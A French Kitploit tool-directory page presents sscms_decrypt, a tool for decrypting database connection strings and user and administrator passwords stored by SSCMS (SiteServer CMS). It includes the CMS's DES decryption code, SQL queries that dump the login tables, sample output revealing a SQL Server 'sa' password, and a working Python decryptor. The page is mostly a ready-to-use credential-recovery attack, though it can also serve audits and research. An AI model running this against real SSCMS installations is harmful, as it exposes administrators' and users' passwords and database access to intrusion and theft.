Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SSCMS_Decrypt — sscms database decrypt | Kitploit
Outils/GitHubGitHub/jas502n/sscms_decrypt
Password CrackingEncryption/Decryption ToolsVulnerability AnalysisWeb SecurityDatabase Security
GitHubjas502n/sscms_decrypt

SSCMS_Decrypt

sscms database decrypt

Voir le dépôt
103il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Décryptage de base de données sscms (siteserver cms)

Introduction : SSCMS est basé sur .NET Core et permet de mettre en place, avec un coût minimal, un minimum de ressources humaines et dans les plus brefs délais, une plateforme de site web complète, performante, extensible et facile à maintenir.

Adresse du projet : https://github.com/siteserver/cms

Décryptage DES

https://github.com/siteserver/cms/blob/master/src/SSCMS/Utils/DesEncryptor.cs

root@kitploit:~

 python3 sscms_decrypt.py
 
[+] Current Encrypt Data= 0NofLD4zWcY/jm+42NYzug==
[+] secretKey= f9c01027
[+] iv_hex= 1234567890abcdef
[+] 数据库类型:SqlServer

[+] Current Encrypt Data= B0SvIg6ExtjhllXf3vb9UwjmLKSRMlqQ1LIs6a8G0G/M1cWZ2ABJ6lvZOMlvKR+vM7/QKGc8pYo8t6sumMerqA==
[+] secretKey= f9c01027
[+] iv_hex= 1234567890abcdef
[+] 数据库配置信息:Server=192.168.77.200;Uid=sa;Pwd=p@ssw0rd2020;Database=sscms;

sscms.json

root@kitploit:~

{
  "IsNightlyUpdate": false,
  "IsProtectData": true,
  "AdminDirectory": "siteserver",
  "HomeDirectory": "home",
  "SecurityKey": "f9c01027278a387b",
  "Database": {
    "Type": "0NofLD4zWcY0slash0jm0add042NYzug0equals00equals00secret0",
    "ConnectionString": "B0SvIg6ExtjhllXf3vb9UwjmLKSRMlqQ1LIs6a8G0G0slash0M1cWZ2ABJ6lvZOMlvKR0add0vM70slash0QKGc8pYo8t6sumMerqA0equals00equals00secret0"
  },
  "Redis": {
    "ConnectionString": ""
  }
}

Après l'installation du système, SS CMS stocke les informations de connexion à la base de données dans le fichier de configuration sscms.json :

  • IsProtectData : indique si la connexion à la base de données est chiffrée et stockée
  • SecurityKey : clé de chiffrement, générée aléatoirement par le système
  • Database:Type : type de base de données
  • Database:ConnectionString : chaîne de connexion à la base de données

Décryptage des tables de mots de passe utilisateur

Table des utilisateurs du site public :

Adresse de connexion du site public : http://x.x.x.x/home/pages/login.html image

SELECT * FROM jxxt.dbo.siteserver_User

Table des administrateurs du backend

Adresse de connexion du backend : http://x.x.x.x/SiteServer/pageLogin.cshtml

image

SELECT * FROM jxxt.dbo.siteserver_Administrator

image

Code de décryptage correspondant :

https://github1s.com/siteserver/cms/blob/siteserver-v6.13.0/SiteServer.CMS/Provider/AdministratorDao.cs#L1126

root@kitploit:~
        private string DecodePassword(string password, EPasswordFormat passwordFormat, string passwordSalt)
        {
            var retVal = string.Empty;
            if (passwordFormat == EPasswordFormat.Clear)
            {
                retVal = password;
            }
            else if (passwordFormat == EPasswordFormat.Hashed)
            {
                throw new Exception("can not decode hashed password");
            }
            else if (passwordFormat == EPasswordFormat.Encrypted)
            {
                var encryptor = new DesEncryptor
                {
                    InputString = password,
                    DecryptKey = passwordSalt
                };
                encryptor.DesDecrypt();

                retVal = encryptor.OutString;
            }
            return retVal;
        }

DecryptKey = passwordSalt

La valeur de DecryptKey est initialisée via passwordSalt pour effectuer le décryptage DES.

root@kitploit:~
		/// 解密密钥
		/// </summary>
		public string DecryptKey
		{
			get { return _decryptKey; }
			set { _decryptKey = value; }
		}

En suivant

var encryptor = new DesEncryptor encryptor.DesDecrypt();

c'est-à-dire que la méthode DesEncryptor.DesDecrypt() est appelée.

root@kitploit:~
		public void DesDecrypt()
		{
		    byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
		    try
			{
				var byKey = Encoding.UTF8.GetBytes(_decryptKey.Substring(0, 8));
				var des = new DESCryptoServiceProvider();
				var inputByteArray = Convert.FromBase64String(_inputString);
				var ms = new MemoryStream();
				var cs = new CryptoStream(ms, des.CreateDecryptor(byKey, iv), CryptoStreamMode.Write);
				cs.Write(inputByteArray, 0, inputByteArray.Length);
				cs.FlushFinalBlock();
				Encoding encoding = new UTF8Encoding();
				_outString = encoding.GetString(ms.ToArray());
			}
			catch (Exception error)
			{
				_noteMessage = error.Message;
			}
		}

Code python3 correspondant :

root@kitploit:~

import base64,pyDes

def sscms_decrypt(encodeData):
    var1 = encodeData.replace("0secret0", "").replace("0add0", "+").replace("0equals0", "=").replace("0and0", "&").replace("0question0", "?").replace("0quote0", "'").replace("0slash0", "/")
    var2 = base64.b64decode(var1)
    print("[+] Current Encrypt Data= " + var1)
    secretKey = 'Y2MlWp4hGY2Wcb9tzIiR2w=='[0:8]
    print("[+] secretKey= " + secretKey)
    iv_hex = "1234567890abcdef"
    iv = bytes.fromhex(iv_hex)
    print("[+] iv_hex= " + iv_hex)
    k = pyDes.des(secretKey, pyDes.CBC, iv, pad=None, padmode=pyDes.PAD_PKCS5)
    return k.decrypt(var2) + b"\n"

Data = "VpGCBufzbT+j/zYDjDmtWw=="

print(sscms_decrypt(Data).decode("utf-8"))
Télécharger l’outil